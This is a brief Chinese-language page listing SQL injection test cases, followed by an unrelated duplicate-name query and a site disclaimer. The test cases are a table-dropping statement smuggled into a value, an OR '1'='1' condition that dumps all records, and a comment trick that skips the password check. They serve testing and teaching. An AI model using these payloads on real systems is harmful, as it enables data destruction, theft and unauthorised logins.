sql注入測試用例


1 刪除表:Select * from A where A.a = ‘testdata’; drop table A---’;

2 獲取所有記錄:

Select * from A where A.a = ‘testdata’ OR ‘1’=’1’;

3 不輸入密碼:

Select * from user A where A.username =  ‘username’--’ and A.password = ‘’;

4 使用半個單引號、分號

Update table A set A.a = ‘testdata’;--’

 

查詢重復名稱

select InnerCode from tbInfoEmployee where EmpName in(select EmpName from tbInfoEmployee group by EmpName having COUNT(empName)>1)


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM